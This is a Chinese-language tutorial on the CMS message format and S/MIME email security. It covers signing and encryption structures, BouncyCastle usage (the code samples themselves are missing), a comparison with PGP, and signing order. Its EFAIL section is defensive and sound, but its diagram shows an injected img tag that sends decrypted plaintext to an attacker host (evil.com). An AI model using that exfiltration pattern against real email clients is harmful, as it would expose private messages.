CMS 与 S/MIME¶
本文你会学到:
- 为什么需要一个标准化的消息加密格式,而不是自己拼凑对称加密 + 数字签名
- CMS(Cryptographic Message Syntax)如何用统一的 ASN.1 结构封装签名和加密
- CMS 的两种签名模式(Detached vs Enveloping)分别适用于什么场景
- CMS 的两种加密方式(密钥传输 vs 密码加密)各自的工作原理
- S/MIME 如何将 CMS 嵌入邮件系统,实现签名和加密邮件
- CMS、S/MIME、PGP 三者的定位差异与选型建议
- Sign-then-Encrypt 与 Encrypt-then-Sign 两种顺序的安全属性差异,以及 S/MIME 为何选择前者
- 实现中的常见陷阱:Enveloping 签名验证、S/MIME 规范化、BouncyCastle 依赖
🤔 为什么需要 CMS?¶
假设你要给合作伙伴发送一份合同,要求同时满足三个安全属性:机密性(只有对方能看)、完整性(不能被篡改)、认证(证明是你发的)。你可能会想:"我先用 AES 加密,再用 RSA 签名,把密文和签名拼在一起发送不就行了?"
想法是对的,但问题在于"拼在一起"这个环节。如果你用 Java 的 Cipher 加密得到 byte[],再用 Signature 签名得到另一个 byte[],接收方怎么知道哪段是密文、哪段是签名、用的什么算法、签名者的证书在哪里?你需要自己设计一套格式规范,而你自己设计的格式很可能和其他系统不兼容。
**CMS(Cryptographic Message Syntax)**就是为了解决这个问题而生的。它定义了一套标准的 ASN.1 数据结构,把签名、加密、证书、算法信息等全部规范化地打包在一起,任何遵循 CMS 标准的系统都能正确解析。
💡 把 CMS 想象成"密码学领域的 ZIP 格式"——它不是一种新的加密算法,而是一个**封装标准**,规定了如何把各种密码学操作的结果组织成一个可互操作的数据包。
为什么标准化格式本身就是一种安全保障¶
CMS 的 ASN.1 结构化封装不仅解决了互操作性问题,还提供了几个重要的安全优势:
1. 消除解析歧义
当你自己"拼凑"加密和签名结果时,接收方需要自行判断数据的边界和格式。这种解析逻辑往往不严谨,成为攻击的入口。CMS 用 ASN.1 的 TLV(Tag-Length-Value)结构消除了边界歧义——每个字段都有明确的类型标识和长度,解析器不需要猜测"下一个字节是密文还是签名"。
2. 算法信息绑定
CMS 的 SignerInfo 中显式记录了签名算法(如 SHA256WithRSA)和摘要算法。验证方不需要猜测签名用了什么算法——如果攻击者替换了算法标识,签名验证会因为 DER 编码不一致而失败(因为签名覆盖了整个 SignerInfo 结构)。
3. 形式化安全分析的基础
因为 CMS 使用标准化的 ASN.1/DER 编码,安全研究者可以对 CMS 协议进行形式化安全分析。如果 CMS 是一个"自由格式"的协议,每次实现都可能引入不同的解析行为,形式化分析就无从谈起。CMS 的 DER 确定性编码使得安全证明可以基于精确的字节级定义,而不是模糊的自然语言描述。
CMS 最初定义在 PKCS#7 标准中(所以经常被称为 PKCS#7),后来由 IETF 接手维护,最新版本在 RFC 5652 中描述。它的核心结构是 ContentInfo——一个"信封",里面装的内容类型由 OID(Object Identifier)标识:
graph TD
A[ContentInfo 信封] --> B[contentType: OID]
A --> C[content: 具体内容]
C --> D[SignedData<br/>签名数据]
C --> E[EnvelopedData<br/>加密数据]
C --> F[Data<br/>原始数据]
C --> G[其他类型...]
D --> D1[签名信息 + 可选的原始数据]
E --> E1[加密的对称密钥 + 加密数据]
📨 CMS 消息类型¶
CMS 定义了多种消息类型,最常用的有两个:SignedData(签名)和 EnvelopedData(加密)。理解这两个类型,就能覆盖绝大多数实际场景。
CMS 数据结构解析:SignedData vs EnvelopedData¶
SignedData 和 EnvelopedData 名字相近,却解决完全不同的问题——先弄清本质区别:
SignedData:解决"这条消息是谁发的"的问题,提供**认证 + 完整性**,内容本身**不加密**EnvelopedData:解决"只有你能看到"的问题,提供**机密性**,但**不证明来源**
graph TD
A[ContentInfo 信封] --> B{contentType OID}
B -->|签名场景| SD[SignedData]
B -->|加密场景| ED[EnvelopedData]
SD --> SD2[digestAlgorithms: 摘要算法集合]
SD --> SD3[encapContentInfo: 原始数据(可选)]
SD --> SD4[certificates: 签名者证书链]
SD --> SD5[signerInfos: 签名者信息]
SD5 --> SD51[signerIdentifier: 签名者标识]
SD5 --> SD52[signatureAlgorithm: 签名算法]
SD5 --> SD54[signature: 签名值]
ED --> ED2[recipientInfos: 收件人信息集合]
ED2 --> ED21[ktri: RSA 公钥传输]
ED2 --> ED22[kari: ECDH 密钥协商]
ED2 --> ED23[pwri: PBKDF2 密码派生]
ED --> ED3[encryptedContentInfo]
ED3 --> ED31[contentEncryptionAlgorithm: AES-CBC 等]
ED3 --> ED32[encryptedContent: 密文]
classDef root fill:transparent,stroke:#768390,color:#adbac7,stroke-width:1px
classDef sd fill:transparent,stroke:#388e3c,color:#adbac7,stroke-width:2px
classDef ed fill:transparent,stroke:#f57c00,color:#adbac7,stroke-width:2px
class A,B root
class SD,SD2,SD3,SD4,SD5,SD51,SD52,SD54 sd
class ED,ED2,ED3,ED21,ED22,ED23,ED31,ED32 ed
两者的核心差异对比:
| 维度 | SignedData |
EnvelopedData |
|---|---|---|
| 安全目标 | 认证 + 完整性 | 机密性 |
| 内容是否加密 | ❌ 明文可见 | ✅ 对称加密 |
| 能验证发送者吗 | ✅ 包含签名者证书 | ❌ 无签名者信息 |
| 支持多方 | 支持多签名者 | ✅ 支持多 RecipientInfo |
| Detached 模式 | ✅ 支持(签名与数据分离) | ❌ 不适用 |
⚠️ 单独使用
EnvelopedData加密**不提供发送者认证**——收件人只知道"有人用我的公钥加密了这条消息",但不知道是谁。需要与SignedData组合(Sign-then-Encrypt)才能同时满足认证和机密性,详见「先签名还是先加密?」。
SignedData:签名消息¶
当你需要证明消息来自你且未被篡改时,使用 SignedData。它的 ASN.1 结构包含版本号、摘要算法列表、签名者信息(SignerInfo)、可选的证书链等。
SignedData 有两种模式:
| 模式 | 说明 | 适用场景 |
|---|---|---|
| Detached(分离) | 签名和原始数据分开存储 | S/MIME 邮件、大文件签名 |
| Enveloping(封装) | 签名和原始数据打包在一起 | 自包含的签名文件 |
⚠️ SignedData 并不要求一定包含原始数据。当它不包含时就是 Detached 模式——这也是为什么它叫"Signed Data"而不叫"Signed Encapsulated Data"。
EnvelopedData:加密消息¶
当你需要保护消息的机密性时,使用 EnvelopedData。它的工作方式是:生成一个随机对称密钥加密数据,再用非对称算法(或密码)包装这个对称密钥。EnvelopedData 结构中包含多个收件人信息(RecipientInfo),每个收件人用自己的方式解出对称密钥。
CMS 定义了四种收件人类型:
| 类型 | 机制 | 适用场景 |
|---|---|---|
ktri(Key Transport) |
用 RSA 等公钥加密对称密钥 | 最常用,一对一加密 |
kari(Key Agreement) |
用 ECDH 等协商出共享密钥 | 多方密钥协商 |
kekri(KEK) |
用对称密钥包装对称密钥 | 已有预共享密钥的场景 |
pwri(Password) |
用密码 + PBKDF2 派生密钥 | 人工交换密钥的场景 |
✍️ CMS 签名实战¶
Java 标准库不直接支持 CMS,需要使用 BouncyCastle 的 org.bouncycastle.cms 包。下面通过具体代码演示两种签名模式。
Detached 签名¶
当你签一个大文件时,不希望把文件内容复制一份塞进签名里——文件可能有几个 GB。Detached 签名把数据和签名分开存储,接收方需要同时持有两者才能验证。
验证 Detached 签名时,需要把原始数据和签名重新组合:
Enveloping 签名¶
当你希望签名是自包含的(比如一个签名后的配置文件),使用 Enveloping 模式。签名中直接包含原始数据,验证时不需要额外的数据文件。
验证并提取数据:
⚠️ Enveloping 签名的验证陷阱:直接从 byte[] 构造 CMSSignedData 时不保留嵌入内容。必须同时传入 signedData.getSignedContent() 才能提取原始数据。
🔐 CMS 加密实战¶
密钥传输加密¶
密钥传输(Key Transport)是最常用的 CMS 加密方式。它的工作原理是:
- 生成一个随机的 AES 对称密钥
- 用 AES 密钥加密原始数据
- 用收件人的 RSA 公钥加密这个 AES 密钥
- 把加密后的 AES 密钥和加密后的数据打包在一起
收件人用自己的 RSA 私钥解出 AES 密钥,再用 AES 密钥解密数据。
💡 这就像"你把一把钥匙锁在保险箱里,保险箱只能用收件人的钥匙打开。收件人打开保险箱拿到里面的钥匙,再用这把钥匙打开真正的宝箱"。
解密:
密码加密¶
当你没有收件人的公钥证书时,可以使用密码加密(Password-based Encryption)。CMS 通过 PBKDF2 从密码派生出密钥,再用这个密钥加密对称密钥。
解密时只需提供相同的密码:
⚠️ 密码加密的密码复杂度非常重要。建议至少 14 个字符(约 112 bit 熵),不要使用简单密码。
📧 S/MIME——将 CMS 用于邮件¶
当你理解了 CMS 之后,S/MIME 就很简单了——它只是把 CMS 消息嵌入到 MIME 邮件格式中。
S/MIME(Secure/MIME)定义在 RFC 5751 中,是电子邮件安全的事实标准。你可能已经在邮件客户端中见过 S/MIME 签名邮件——它们通常显示一个"已签名"或"已加密"的标识。
BouncyCastle 提供两套 S/MIME API:基于 JavaMail 的(在 bcmail-* JAR 中)和直接解析 MIME 的 PKIX API。下面使用 JavaMail 版本演示,因为它更直观。
CMS 与 S/MIME 的诞生背景:邮件为什么不安全¶
在 S/MIME 出现之前,一封普通电子邮件在网络上的传输就像一张明信片——每个中间节点(MTA,邮件传输代理)都能读到内容。SMTP(Simple Mail Transfer Protocol)设计于 1982 年(RFC 821),那个年代的互联网是一个小圈子,安全性从未被纳入设计范围。
这带来了三个根本性问题:
- 明文传输:邮件以 ASCII 明文在 SMTP 服务器之间跳转,任何中间节点都可以读取或修改
- 无发件人认证:SMTP 协议不验证
From:头,任何人都可以声称自己是任何人(伪造发件人) - 无完整性保护:邮件在传输途中可被静默篡改,收件人无从察觉
💡 类比:
SMTP就像寄明信片,任何一个邮递员都能读内容、涂改内容、甚至换一张假明信片。S/MIME则像把信放进密封信封(加密),然后在封口盖上你的专属印章(签名)——对方收到后能确认封口没被破坏(完整性),印章是你的(认证),且内容保密(机密性)。
1995 年,RSA Security 在 PKCS#7 的基础上推出了 S/MIME,随后由 IETF 接手,历经 RFC 2311、RFC 3851,直到当前的 RFC 5751。S/MIME 的核心思路是:不修改 SMTP 协议本身,而是在邮件内容层(MIME)做密码学处理,获得机密性、完整性和认证三重保护。
CMS(Cryptographic Message Syntax,RFC 5652)是 S/MIME 的底层格式,负责标准化的 ASN.1 数据封装。S/MIME 只是 CMS 在邮件(MIME)场景下的具体应用,就像「对称加密」中的 AES 是算法、AES-GCM 是具体模式一样。
签名邮件¶
S/MIME 签名邮件使用 multipart/signed MIME 类型,由两部分组成:第一部分是原始邮件内容,第二部分是 Detached 签名。这种格式的好处是**即使收件人的邮件客户端不支持 S/MIME,也能正常阅读邮件内容**。
验证签名邮件时,从 multipart/signed 中解析出签名并验证:
加密邮件¶
S/MIME 加密邮件使用 application/pkcs7-mime MIME 类型,邮件正文完全被加密,只有持有正确私钥的收件人才能解密。
解密:
S/MIME 实战:Java BC 发送加密签名邮件¶
真实场景中,一封安全邮件通常需要**同时签名和加密**(Sign-then-Encrypt):发件人用自己的私钥签名,再用收件人的公钥加密。下面演示完整的发送和接收流程。
收件人解密并验签(先解密后验签,与发送方顺序相反):
⚠️ 注意操作顺序:发送时先签名后加密,接收时先解密后验签。若顺序搞反,会导致验签失败或无法提取原文。签名者的身份(证书)被加密层包裹,只有收件人解密后才能看到,保护了签名者隐私。
⚖️ CMS vs S/MIME vs PGP 对比¶
你可能听说过 PGP(Pretty Good Privacy),它和 S/MIME 都能实现邮件的签名和加密。它们的关系是什么?
| 维度 | CMS / S/MIME | PGP / OpenPGP |
|---|---|---|
| 标准基础 | IETF RFC 5652 / RFC 5751 | IETF RFC 4880 |
| 数据格式 | ASN.1(DER/BER 编码) | 自定义二进制格式 |
| 信任模型 | 基于 PKI(X.509 证书链 + CA) | 基于 Web of Trust(信任网) |
| 邮件生态 | 企业邮件系统(Outlook、Apple Mail) | 技术社区(Thunderbird、ProtonMail) |
| 适用范围 | 邮件 + 任意数据(PDF 签名、时间戳等) | 最初为邮件设计,后来扩展到通用加密 |
| Java 库 | BouncyCastle (bcpkix, bcmail) |
BouncyCastle (bcpg) |
选型建议:
- 企业内部邮件安全 → S/MIME(已有 AD/LDAP 证书基础设施)
- 个人隐私通信 → OpenPGP(无需 CA,Web of Trust 更灵活)
- 非邮件场景(如 PDF 签名、时间戳协议) → CMS(S/MIME 是 CMS 在邮件上的具体应用)
S/MIME vs PGP:邮件加密的两条路¶
S/MIME 和「OpenPGP」(详见 OpenPGP)代表了邮件加密两种根本不同的哲学,差异不在于加密算法本身,而在于**如何建立对公钥的信任**:
graph TD
subgraph PKI ["S/MIME 信任模型:证书链(PKI)"]
RootCA["根 CA<br/>操作系统/浏览器预置"] -->|颁发中间证书| SubCA["中间 CA<br/>DigiCert · GlobalSign"]
SubCA -->|颁发用户证书| UserCert["用户证书<br/>alice@example.com"]
end
subgraph WoT ["OpenPGP 信任模型:信任网(Web of Trust)"]
Alice["Alice 密钥"] -->|签名认可| Bob["Bob 密钥"]
Bob -->|签名认可| Carol["Carol 密钥"]
Alice -.->|间接信任| Carol
end
classDef pki fill:transparent,stroke:#0288d1,color:#adbac7,stroke-width:1px
classDef wot fill:transparent,stroke:#f57c00,color:#adbac7,stroke-width:1px
class RootCA,SubCA,UserCert pki
class Alice,Bob,Carol wot
PKI 信任(S/MIME 的方式):
- 信任关系由**受信任的第三方 CA**(证书颁发机构)背书,CA 签发 X.509 证书绑定邮件地址与公钥
- 你只需要信任操作系统内置的根证书,就能验证任何 S/MIME 邮件——无需提前交换密钥
- 缺点:需要向 CA 申请(购买)邮件证书,企业需要部署内部 CA;证书吊销依赖 CRL / OCSP
Web of Trust(OpenPGP 的方式):
- 信任关系由**社区成员互相签名认可**——你信任朋友的密钥,朋友信任的人你也可以选择信任
- 没有中央权威,密钥通过 Keyserver(如
keys.openpgp.org)分发 - 优点:去中心化,无需 CA,适合个人和开源社区;缺点:信任路径不透明,密钥吊销困难
| 场景 | 推荐方案 | 原因 |
|---|---|---|
| 企业内部邮件(有 AD/Exchange) | S/MIME |
与 Outlook/Exchange 原生集成,证书统一管理 |
| 个人隐私通信、开源社区 | OpenPGP |
无需 CA,GPG 生态成熟,git commit 签名等广泛使用 |
| 高合规要求(金融、政府) | S/MIME |
PKI 合规性,「证书与 PKI」审计链清晰(详见 证书与 PKI) |
| 互联网邮件服务(ProtonMail) | OpenPGP |
开源、用户可验证端对端加密 |
🔄 先签名还是先加密?¶
当你需要同时签名和加密一条消息时,操作顺序会显著影响安全性。有两种选择:
graph LR
A["原始消息 M"] --> B["先签名<br/>Sign(M) = σ"]
B --> C["后加密<br/>Enc(σ || M)"]
C --> D["密文:Enc(签名||消息)"]
E["原始消息 M"] --> F["先加密<br/>Enc(M) = C"]
F --> G["后签名<br/>Sign(C) = σ"]
G --> H["密文:签名||Enc(消息)"]
classDef safe fill:transparent,stroke:#388e3c,color:#adbac7,stroke-width:2px
classDef risky fill:transparent,stroke:#d32f2f,color:#adbac7,stroke-width:1px
class A,B,C,D safe
class E,F,G,H risky
两种顺序的安全属性对比¶
先签名后加密(Sign-then-Encrypt, SteE):
- 签名覆盖的是**原始明文**,验证者需要先解密再验证签名
- 验证者可以确认:消息来自签名者 + 消息未被加密过程中篡改
- ✅ 提供机密性 + 认证 + 完整性——三重安全保障
先加密后签名(Encrypt-then-Sign, EteS):
- 签名覆盖的是**密文**,任何人都能验证签名(不需要解密)
- 验证者只能确认:密文来自签名者 + 密文未被篡改
- ⚠️ 验证者**无法确认明文的来源**——因为签名者可能签名的是别人加密的数据
用一个直觉场景来说明差异:
- SteE:你把合同签名后锁进保险箱。收件人打开保险箱,看到你的签名和合同——既确认了你的身份,又确认了内容完整
- EteS:你把合同锁进保险箱后,在保险箱外壳上签名。别人能看到"这个保险箱是你锁的",但里面的合同可能是任何人放进去的
为什么 S/MIME 使用 Sign-then-Encrypt¶
S/MIME 的标准做法是 先签名后加密(RFC 5751 Section 3.5)。当一封邮件既要签名又要加密时,S/MIME 先创建 multipart/signed(签名),再将整个 MIME 结构加密为 application/pkcs7-mime。
这个选择的安全论证如下:
- 邮件的三个安全目标都要满足:机密性(只有收件人能读)、完整性(内容未被篡改)、认证(来自声称的发送者)
- SteE 满足全部三个目标,EteS 只满足认证和密文完整性
- EteS 中签名覆盖密文在加密层使用 AEAD(如 AES-GCM,RFC 5084)时确实与加密自带的完整性保证重复;但 CMS 默认使用 AES-CBC(RFC 5652),该模式不提供密文完整性,此时签名覆盖密文反而是唯一的密文完整性来源。不过,无论加密层是否提供完整性,EteS 的核心缺陷始终不变——签名不覆盖明文,无法为明文提供来源认证
- 签名者隐私:SteE 将签名者的身份信息(证书等)包裹在加密层内,第三方无法看到谁签名了;EteS 中签名以明文形式暴露给所有人,RFC 5751 明确指出这是推荐 SteE 的重要原因之一
什么时候用 Encrypt-then-Sign?¶
EteS 在某些场景下有其独特价值——当**签名需要公开可验证**但消息内容需要保密时:
- 传输加密密钥:密钥本身需要保密(加密),但接收者需要确认密钥确实来自可信的发送者(签名)
- 不需要解密就能验证来源的场景
但一般来说,如果你需要同时签名和加密,先签名后加密是更安全的选择。
🚨 常见问题与陷阱¶
Enveloping 签名验证时提取不到数据¶
这是最常见的坑。如果你直接从 byte[] 构造 CMSSignedData,再调用 getSignedContent().getContent(),会得到 null。正确做法是构造时同时传入 signedData.getSignedContent():
S/MIME 签名验证失败:规范化问题¶
S/MIME 要求文本数据的行结尾统一为 \r\n(CRLF)。如果你的邮件在传输过程中被某个网关"好心"地把 \r\n 改成了 \n,签名就会验证失败。排查时注意:
- 创建签名邮件前,确保文本内容使用 CRLF 行尾
- 某些邮件网关会去除行尾空白、替换特殊字符编码,都可能导致签名失效
- AS2 协议使用二进制传输编码,不受此影响
CMS 不直接支持 JDK,必须依赖 BouncyCastle¶
Java 标准库的 java.security 包提供了底层的签名和加密能力,但不提供 CMS 格式的封装。要处理 .p7s(签名文件)、.p7m(加密文件)等 CMS 格式,必须引入 BouncyCastle:
密码加密的密码复杂度¶
CMS 密码加密使用 PBKDF2 从密码派生密钥。如果密码太简单(比如 "password"),攻击者可以暴力破解。建议:
- 密码长度至少 14 个字符
- 使用随机 Salt(至少 16 字节)
- 迭代次数至少 2048 次(BouncyCastle 默认值通常已足够)
EFAIL 漏洞:加密邮件怎么也不安全?¶
2018 年,安全研究者披露了 EFAIL 漏洞,震惊了邮件安全社区:已经用 S/MIME 或 OpenPGP 加密的邮件,在特定条件下可以被解密——而攻击者不需要知道你的私钥。
攻击原理(以 S/MIME CBC oracle 为例):
S/MIME 默认使用 AES-CBC 加密。CBC 模式不提供密文完整性(不是 AEAD),攻击者可以**篡改密文字节,使解密后的明文产生可预测的变化**(CBC Bit-Flipping)。EFAIL 将这个性质与邮件客户端的"自动加载外部资源"特性组合,形成了泄露攻击:
sequenceDiagram
participant Attacker as 攻击者
participant Victim as 受害者邮件客户端
participant Server as 攻击者服务器
Attacker->>Attacker: 截获历史加密邮件(密文 C)
Attacker->>Victim: 转发改造邮件<br/><img src="https://evil.com/PREFIX + C">
Note over Victim: 客户端自动解密 C → 明文 P
Victim->>Server: GET https://evil.com/PREFIX + P(明文!)
Server-->>Attacker: 收到完整明文,攻击成功
EFAIL 的两个根本原因叠加:
- 密文无完整性:
AES-CBC不是 AEAD,攻击者可以篡改密文并让解密"成功",接收者察觉不到篡改 - 客户端自动加载外部资源:邮件客户端解密后自动请求 HTML 中的图片/CSS,将解密后的明文作为 URL 的一部分发出去
修复建议:
| 层面 | 措施 | 说明 |
|---|---|---|
| 算法层 | 改用 AES-GCM(AEAD 模式) |
RFC 8551 已将 AES-GCM 列为 S/MIME v4 推荐算法,提供密文完整性 |
| 客户端层(最有效短期缓解) | 禁用 HTML 邮件中的外部资源自动加载 | 阻断泄露信道,即使密文被篡改也无法外泄明文 |
| 协议层 | 使用「对称加密」中介绍的 AEAD 模式(详见 对称加密) | 从根本上消除 CBC oracle |
| 架构层 | 改用基于 Signal 协议的端对端加密即时通信 | 彻底脱离基于 SMTP 的邮件安全假设 |
⚠️ 即使你升级到
AES-GCM,旧版邮件客户端仍可能降级协商使用CBC。最可靠的短期防御是:在邮件客户端中关闭"自动加载远程内容"设置。EFAIL 提醒我们:密码学算法本身可能是安全的,但**算法与系统行为的组合**才是真正的攻击面。
📚 参考来源(本笔记增强部分)¶
- David Wong, Real-World Cryptography (Manning, 2021), Chapter 11
- 章节文本:会话工作区
files/rwc-chapters/ch11.txt